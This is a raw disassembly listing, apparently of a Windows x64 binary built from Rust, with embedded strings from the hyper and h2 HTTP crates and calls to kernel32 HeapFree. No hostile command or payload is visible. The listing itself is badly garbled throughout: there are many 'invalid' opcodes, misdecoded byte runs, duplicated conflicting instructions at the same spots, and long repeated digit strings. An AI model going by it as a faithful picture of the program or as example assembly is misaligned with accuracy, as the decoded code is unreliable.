37538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:statusassertion_failed:_DEFAULT_MAX_FRAME_SIZE___val__val___MAX_MAX_FRAME_SIZEC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_settings.rs
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:statusassertion_failed:_DEFAULT_MAX_FRAME_SIZE___val__val___MAX_MAX_FRAME_SIZEC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_settings.rs
lea eax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:statusassertion_failed:_DEFAULT_MAX_FRAME_SIZE___val__val___MAX_MAX_FRAME_SIZEC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_settings.rs
add r12, rax
mov ebx, 3
add byte [rsi + 7], bh
invalid
add byte [rsi + 7], bh
add byte [rax], al
lea r14, [0x140132e82]
jmp 0x14001b0d9
mov edx, 5
add byte [rax], al
lea rcx, [0x140132e74]
adc dword [rax], eax
jmp 0x14001b18d
lea rcx, [0x140132e66]
or eax, 0x117e56
jmp 0x14001b18d
lea rcx, [0x140132e6d]
jmp 0x14001b18d
mov edx, 0xa
lea rcx, [0x140132e5c]
lea ecx, [0x140132e5c]
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x140132e5c]
lea ecx, [0x140132e5c]
jmp 0x14001b18d
mov edx, 9
lea rcx, [0x140132e79]
jmp 0x14001b18d
lea rcx, [0x140132e82]
jmp 0x14001b18d
add dword [rax], eax
invalid
mov rcx, qword [r8 + 0x28]
mov rdx, qword [r8 + 0x30]
jmp 0x14001b09f
movzx eax, byte [r8]
mov edx, 7
lea rcx, [0x1401923ec]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rbx, qword [rsp + 0x98]
cwde
add byte [rax], al
add bh, bh
jmp rax
invalid
lea rcx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
jmp 0x14001b0a7
mov eax, dword [r8]
add eax, 0xffffff9c
movzx eax, ax
lea rcx, [rax + rax*2]
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:statusassertion_failed:_DEFAULT_MAX_FRAME_SIZE___val__val___MAX_MAX_FRAME_SIZEC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_settings.rs
add rcx, rax
mov edx, 3
mov rbx, qword [rsp + 0x98]
lea r8, [rsp + 0x58]
call fcn.140015550
jmp 0x14001b1d7
movzx ecx, byte [rsp + 0xc0]
call fcn.140024640
mov r14, rax
mov rsi, rdx
invalid
mov r12, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xe8]
lea eax, [rdi - 8]
cmp al, 0xfa
jae 0x14001b119
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
test dil, 1
je 0x14001b123
cmp rcx, rax
jne 0x14001b10e
mov edx, 1
lea rcx, [rsp + 0x58]
and al, 0x58
and al, 0x58
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
and al, 0x58
mov byte [rdx + rax], 0x10
jmp 0x14001b14a
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14001b141
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
cmp eax, ecx
ja case.default.0x14001aeff
xchg esp, ebx
or byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
invalid
mov qword [rsp + 0x60], rax
mov rcx, r14
mov rdx, rsi
lea rsi, [rsp + 0x58]
mov r8, rsi
call fcn.140015550
dec dword [rcx + rcx*4 - 0x1f]
mov rdx, rbx
mov r8, rsi
jmp 0x14001b1ca
movzx ecx, byte [rsi + 8]
call fcn.140024640
mov rcx, rax
invalid
lea r8, [rsp + 0x58]
call fcn.140015550
movzx eax, byte [rsi + 0x40]
lea ecx, [rax - 2]
dec rax
cmp cl, 6
mov ecx, 0
cmovae rax, rcx
cmovae eax, ecx
lea rcx, [0x140192434]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
mov edx, dword [rsi + 0x10]
lea r8, [rsp + 0x58]
call fcn.140015550
mov rbx, qword [rsp + 0x98]
mov ebx, dword [rsp + 0x98]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rsp + 0xf0]
adc byte [rsp + 0xf0], al
adc byte [rsp + 0xf0], al
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x1e0], eax
and al, 0xe0
add dword [rax], eax
invalid
movaps xmmword [rsp + 0x1e0], xmm0
movups xmm0, xmmword [rsp + 0xb0]
mov al, 0
add byte [rax], al
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
adc byte [rsp + 0xd0], dl
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xd0], dl
movups xmm3, xmmword [rsp + 0xe0]
adc byte [rsp + 0xe0], bl
movaps xmmword [rsp + 0x1d0], xmm3
movaps xmmword [rsp + 0x1c0], xmm2
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1b0], ecx
mov al, 1
add byte [rax], al
mov al, 1
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1a0], eax
add dword [rax], eax
invalid
movaps xmmword [rsp + 0x1a0], xmm0
add dword [rax], eax
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x470]
invalid
pop rsp
lahf
invalid
lea rcx, [rsp + 0x470]
lea ecx, [rsp + 0x470]
call fcn.1400151a0
mov rax, qword [rsp + 0x1f0]
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add al, 0
add byte [rdi], cl
sub byte [rsp + 0x1e0], al
and al, 0xe0
add dword [rax], eax
invalid
and al, 0xe0
add dword [rax], eax
add byte [rdi], cl
movaps xmmword [rsp + 0x4b0], xmm0
movaps xmmword [rsp + 0x4b0], xmm0
mov al, 4
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmm1, xmmword [rsp + 0x1b0]
add byte [rdi], cl
sub byte [rsp + 0x1c0], dl
add dword [rax], eax
invalid
movaps xmm3, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x4a0], xmm3
pushfq
and al, 0xa0
movabs al, byte [0x902494290f000004]
add al, 0
invalid
movabs al, byte [0x902494290f000004]
add al, 0
add byte [rdi], cl
sub dword [rsp + 0x480], ecx
invalid
movaps xmmword [rsp + 0x490], xmm2
movaps xmmword [rsp + 0x480], xmm1
movaps xmmword [rsp + 0x470], xmm0
and al, 0x70
add al, 0
add byte [rdi], cl
invalid
mov dh, 0x84
and al, 0x40
add eax, dword [rax]
movzx eax, byte [rsp + 0x340]
add eax, dword [rax]
add byte [rax - 0x7d], cl
clc
or al, 0xf
test byte [rdx - 0x26], ch
cmp rax, 0xc
je 0x140018d20
invalid
invalid
invalid
jmp 0x140018930
mov rcx, qword [rsi + 0x28]
mov rdx, qword [rsi + 0x30]
mov edx, dword [rsi + 0x30]
mov edx, dword [rsi + 0x30]
jmp 0x14001b1c5
add byte [rax], al
lea rcx, [0x140192450]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
add eax, ecx
invalid
add eax, ecx
jmp rax
lea rcx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
jmp 0x14001b1c5
invalid
invalid
invalid
mov bh, 0xc0
lea rcx, [rax + rax*2]
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:statusassertion_failed:_DEFAULT_MAX_FRAME_SIZE___val__val___MAX_MAX_FRAME_SIZEC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_settings.rs
jo 0x14001b30f
add byte [rax + 1], cl
sar dword [rdx + 3], 0xe9
add byte [rax], al
add cl, ch
invalid
invalid
invalid
invalid
jo 0x14001b30f
add byte [rax + 1], cl
sar dword [rdx + 3], 0xe9
add byte [rax], al
add cl, ch
add byte [rax], al
add cl, ch
mov ecx, 0xbbfffffe
invalid
mov ebx, 6
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
jnp case.0x14001a486.84
invalid
add byte [rax], al
lea r14, [0x140132e66]
adc dword [rax], eax
add byte [rbp + rcx*4 + 0x25], cl
invalid
lea r12, [0x140146ba1]
and eax, 0x12b882
jmp 0x14001b0d9
mov ch, 0xfd
invalid
movzx ebx, byte [rsp + 0xc8]
enter 0, 0
cmp rbx, 0x10
jae 0x14001bcff
leave
or dword [rax], eax
invalid
sti
adc byte [rdi], cl
or ecx, 9
leave
or dword [rax], eax
invalid
leave
or dword [rax], eax
add byte [rbp + rcx*4 + 0x35], cl
sub dword [rbx + 0x11], edi
jnp 0x14001b34d
lea r14, [0x140132e66]
lea r12, [rsp + 0xb9]
lea esp, [rsp + 0xb9]
jnp 0x14001b34d
add byte [rbp + rcx*4 - 0x5c], cl
and al, 0xb9
add byte [rax], al
lea esp, [rsp + 0xb9]
add cl, ch
jmp 0x14001b0d9
invalid
mov ebx, 4
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
lea r14, [0x140132e66]
lea r12, [0x140146b9a]
invalid
add byte [rax], al
lea r14, [0x140132e66]
lea esi, [0x140132e66]
lea r12, [0x140146b9a]
and eax, 0x12b83d
jmp 0x14001b0d9
ja 0x14001b35d
invalid
mov ebx, 3
lea r14, [0x140132e66]
lea esi, [0x140132e66]
lea esi, [0x140132e66]
clc
jp 0x14001b37e
invalid
adc dword [rax], eax
add byte [rbp + rcx*4 + 0x25], cl
lea r12, [0x140146b9e]
jmp 0x14001b0d9
pop rdi
std
invalid
invalid
sub dword [rax + 0x5fe90012], edi
add cl, ch
pop rdi
std
invalid
lea r14, [0x140132e66]
xor eax, 0x117ae5
jp 0x14001b391
add byte [rbx + 7], bh
mov ebx, 7
lea r12, [0x140146bb0]
and eax, 0x12b823
jmp 0x14001b0d9
std
invalid
invalid
mov ebx, 3
lea r14, [0x140132e66]
lea esi, [0x140132e66]
lea esi, [0x140132e66]
lea r12, [0x140146b97]
and eax, 0x12b7f2
jmp 0x14001b0d9
mov ebx, 4
lea r14, [0x140132e66]
lea esi, [0x140132e66]
mov al, 0x7a
adc dword [rax], eax
lea r12, [0x140146ba7]
and eax, 0x12b7ea
jmp 0x14001b0d9
invalid
mov ebx, 5
lea r14, [0x140132e66]
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
cwde
jp 0x14001b3de
add byte [rbp + rcx*4 + 0x25], cl
lea r12, [0x140146bab]
jmp 0x14001b0d9
invalid
invalid
invalid
invalid
invalid
mov r12, qword [rsp + 0xc0]
movsb byte [rdi], byte [rsi]
and al, 0xc0
add byte [rax], al
invalid
rol byte [rax], 0
add byte [rax - 0x75], cl
mov rbx, qword [rsp + 0xc8]
pushfq
and al, 0xc8
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
invalid
invalid
invalid
add byte [rax], al
lea r14, [0x140132e66]
jne 0x14001b469
adc dword [rax], eax
add cl, ch
jmp 0x14001b0d9
jrcxz 0x14001b3f0
cld
invalid
mov ebx, 5
lea r14, [0x140132e66]
lea esi, [0x140132e66]
add byte [rbp + rcx*4 + 0x35], cl
lea esi, [0x140132e66]
jp 0x14001b412
add byte [rbp + rcx*4 + 0x25], cl
scasb al, byte [rdi]
mov bh, 0x12
add cl, ch
retf
lea r12, [0x140146bb7]
and eax, 0x12b7ae
jmp 0x14001b0d9
invalid
mov r8d, 3
mov eax, 3
add byte [rax], al
lea rdx, [0x140146b9e]
lea edx, [0x140146b9e]
adc eax, 0x12b783
jmp 0x14001a914
hlt
mov r8d, 5
add byte [rax], al
lea rdx, [0x140146bb7]
adc eax, 0x12b78a
add cl, ch
jmp 0x14001a914
loop 0x14001b424
invalid
inc dword [rcx - 0x48]
add eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 3
add byte [rax - 0x73], cl
lea rdx, [0x140146b97]
adc eax, 0x12b758
jmp 0x14001a914
invalid
mov r8d, 4
add byte [rax - 0x73], cl
lea rdx, [0x140146b9a]
adc eax, 0x12b749
add cl, ch
mov esi, 0x41fffff4
hlt
invalid
inc dword [rcx - 0x48]
mov r8d, 5
jmp 0x14001a914
hlt
mov r8d, 5
add byte [rax], al
lea rdx, [0x140146bab]
adc eax, 0x12b748
adc al, byte [rax]
jmp 0x14001a914
lodsb al, byte [rsi]
hlt
mov r8d, 6
mov eax, 6
add byte [rax], al
add byte [rax - 0x73], cl
add byte [rax], al
lea rdx, [0x140146ba1]
adc eax, 0x12b72c
mov bh, 0x12
add cl, ch
jmp 0x14001a914
invalid
mov r8d, 4
add al, 0
add byte [rax], al
lea rdx, [0x140146ba7]
and byte [rdi - 0x7716ffee], dh
jmp 0x14001a914
hlt
movzx r8d, byte [rsp + 0xd0]
movzx eax, byte [rsp + 0xd0]
and al, 0xd0
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
rol byte [rax], 1
add byte [rax], al
cmp r8, 0x10
jae 0x14001bd13
or byte [rax], al
invalid
adc byte [rdi], cl
xor dword [rax + rcx], 0
or byte [rax], al
invalid
or byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
lea rdx, [rsp + 0xc1]
jmp 0x14001a914
hlt
invalid
invalid
and al, 0xc1
add byte [rax], al
add cl, ch
push 0x48fffff4
hlt
invalid
invalid
invalid
lea rdx, [0x140146bb0]
lea edx, [0x140146bb0]
std
mov dh, 0x12
add cl, ch
pop rsp
hlt
jmp 0x14001a914
mov edx, 3
lea rcx, [0x140146b9e]
lea ecx, [0x140146b9e]
fidiv dword [rsi - 0x316ffee]
cld
invalid
jmp 0x14001b1c5
invalid
mov edx, 5
lea rcx, [0x140146bb7]
lea ecx, [0x140146bb7]
loop 0x14001b489
adc al, byte [rax]
jmp 0x14001b1c5
mov edx, 3
lea rcx, [0x140146b97]
lea ecx, [0x140146b97]
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x140146b97]
jmp 0x14001b1c5
mov edx, 4
lea rcx, [0x140146b9a]
lea ecx, [0x140146b9a]
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [0x140146b9a]
jmp 0x14001b1c5
mov edx, 5
lea rcx, [0x140146bab]
lea ecx, [0x140146bab]
add cl, ch
mov eax, 0xbafffffc
invalid
invalid
invalid
jmp 0x14001b1c5
invalid
mov edx, 6
add byte [rax], al
lea rcx, [0x140146ba1]
add cl, ch
cmpsd dword [rsi], dword [rdi]
cld
invalid
jmp 0x14001b1c5
invalid
mov edx, 4
lea rcx, [0x140146ba7]
invalid
add cl, ch
xchg esi, eax
jmp 0x14001b1c5
cld
invalid
movzx edx, byte [rsi + 0x10]
cmp rdx, 0x10
cli
invalid
cli
adc byte [rdi], cl
invalid
jae 0x14001bceb
sub dword [rsi + 0x48000007], 0xffffffff
invalid
add byte [rax], al
inc rsi
mov rcx, rsi
jmp 0x14001b1c5
invalid
invalid
invalid
lea rcx, [0x140146bb0]
lea ecx, [0x140146bb0]
mov dh, 0x12
add cl, ch
jno 0x14001b54e
jmp 0x14001b1c5
invalid
mov edx, 6
add byte [rax], al
lea rcx, [0x140146ba1]
jmp 0x14001b0a7
invalid
invalid
invalid
movzx edx, byte [r8 + 0x10]
cmp rdx, 0x10
jae 0x14001bceb
push rax
adc byte [rax - 0x7d], cl
cli
adc byte [rdi], cl
xor dword [rdi + 7], 0
add byte [rcx - 1], cl
invalid
invalid
inc r8
inc eax
ror byte [rcx + rcx*4 - 0x3f], 0xe9
sub bl, bh
invalid
mov rcx, r8
jmp 0x14001b0a7
mov edx, 4
lea rcx, [0x140146b9a]
lea ecx, [0x140146b9a]
lea ecx, [0x140146b9a]
movzx edx, byte [rdx]
add cl, ch
invalid
jmp 0x14001b0a7
mov edx, 3
add eax, dword [rax]
add byte [rax], al
lea rcx, [0x140146b9e]
jmp 0x14001b0a7
add dh, byte [rsi + 0x6e90012]
sti
invalid
lea ecx, [0x140146bb0]
mov dh, 0x12
add cl, ch
cli
cli
invalid
jmp 0x14001b0a7
mov edx, 3
lea rcx, [0x140146b97]
lea ecx, [0x140146b97]
lea ecx, [0x140146b97]
jmp 0x14001b0a7
mov edx, 4
lea rcx, [0x140146ba7]
lea ecx, [0x140146ba7]
lea ecx, [0x140146ba7]
jmp 0x14001b0a7
mov edx, 5
lea rcx, [0x140146bab]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x12b5d0
jmp 0x14001b0a7
mov rdi, qword [rsp + 0x2f8]
mov r14, qword [rsp + 0x300]
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0xa8], rax
lea r13, [rsp + 0x1c8]
mov rsi, qword [rsp + 0x318]
mov rbp, qword [rsp + 0x310]
lea r12, [rsp + 0x1e0]
mov rbx, qword [rsp + 0x328]
jmp 0x14001b6bb
lea rcx, [rax*8 + 0x10]
add rcx, rbp
mov r14, qword [rcx + 8]
mov edi, 1
mov qword [rsp + 0x2f8], rdi
mov qword [rsp + 0x300], r14
mov rcx, qword [rbp + rax*8 + 0x40]
mov qword [r13 + 0x20], rcx
movups xmm0, xmmword [rbp + rax*8 + 0x20]
movups xmm1, xmmword [rbp + rax*8 + 0x30]
movups xmmword [r13 + 0x10], xmm1
movups xmmword [r13], xmm0
mov qword [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x1c8]
mov rdx, qword [rsp + 0x1d0]
mov r8, qword [rsp + 0x1d8]
mov rcx, r12
call qword [rax + 0x10]
test dil, 1
je 0x14001b6e0
cmp r14, rsi
jae 0x14001bb01
lea rax, [r14 + r14*8]
test byte [rbp + rax*8 + 0x10], 1
jne 0x14001b650
xor edi, edi
jmp 0x14001b664
cmp rbx, qword [rsp + 0xa8]
je 0x14001b788
lea r15, [rbx + 0x68]
mov qword [rsp + 0x328], r15
mov rdi, qword [rbx]
cmp rdi, 2
je 0x14001b790
mov r14, qword [rbx + 8]
movups xmm0, xmmword [rbx + 0x50]
lea rax, [rsp + 0x1a8]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rax], xmm0
mov rax, qword [rbx + 0x38]
mov qword [r13 + 0x20], rax
movups xmm0, xmmword [rbx + 0x18]
movups xmm1, xmmword [rbx + 0x28]
movups xmmword [r13 + 0x10], xmm1
movups xmmword [r13], xmm0
mov qword [rsp + 0x2f8], rdi
mov qword [rsp + 0x300], r14
mov qword [rsp + 0x1a0], 1
mov rax, qword [rsp + 0x1a8]
test rax, rax
je 0x14001b780
mov rdx, qword [rsp + 0x1b0]
mov r8, qword [rsp + 0x1b8]
lea rcx, [rsp + 0x1c0]
call qword [rax + 0x10]
mov rbx, r15
jmp 0x14001b69d
mov r15, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x338]
mov rax, rcx
sub rax, r15
movabs rdx, 0x4ec4ec4ec4ec4ec5
mul rdx
mov qword [rsp + 0x318], 0
cmp rcx, r15
je 0x14001b805
mov rsi, rdx
shr rsi, 5
add r15, 0x30
jmp 0x14001b7eb
mov rax, qword [r15 - 0x18]
mov rdx, qword [r15 - 0x10]
mov r8, qword [r15 - 8]
mov rcx, r15
call qword [rax + 0x10]
add r15, 0x68
dec rsi
je 0x14001b805
mov rax, qword [r15 + 0x10]
test rax, rax
je 0x14001b7d0
lea rcx, [r15 + 0x28]
mov rdx, qword [r15 + 0x18]
mov r8, qword [r15 + 0x20]
call qword [rax + 0x10]
jmp 0x14001b7d0
cmp qword [rsp + 0x330], 0
je 0x14001b827
mov r8, qword [rsp + 0x320]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x318]
test rdi, rdi
je 0x14001b85b
mov rsi, qword [rsp + 0x310]
add rsi, 0x38
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x14001b840
cmp qword [rsp + 0x308], 0
je 0x14001b87d
mov r8, qword [rsp + 0x310]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x470]
call fcn.1400151a0
mov rdi, qword [rsp + 0x448]
cmp rdi, 2
je 0x14001b939
lea rdx, [rsp + 0x460]
mov rsi, qword [rsp + 0x450]
mov rbx, qword [rsp + 0x458]
test dil, 1
je 0x14001b8fa
mov rax, qword [rbx + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rbx + 0x68]
mov rdx, qword [rsp + 0x460]
mov rax, qword [rbx + 0x10]
adc byte [r8 - 1], cl
enter 0xffffffffffff8348, 0xffffffffffffffe0
invalid
add rsi, rax
add rsi, 0x10
mov rcx, rsi
call qword [rbx + 0x80]
test rdi, rdi
jne 0x14001b916
jmp 0x14001b939
mov rcx, rsi
call qword [rbx + 0x68]
mov rdx, qword [rsp + 0x460]
mov rcx, rsi
call qword [rbx + 0x80]
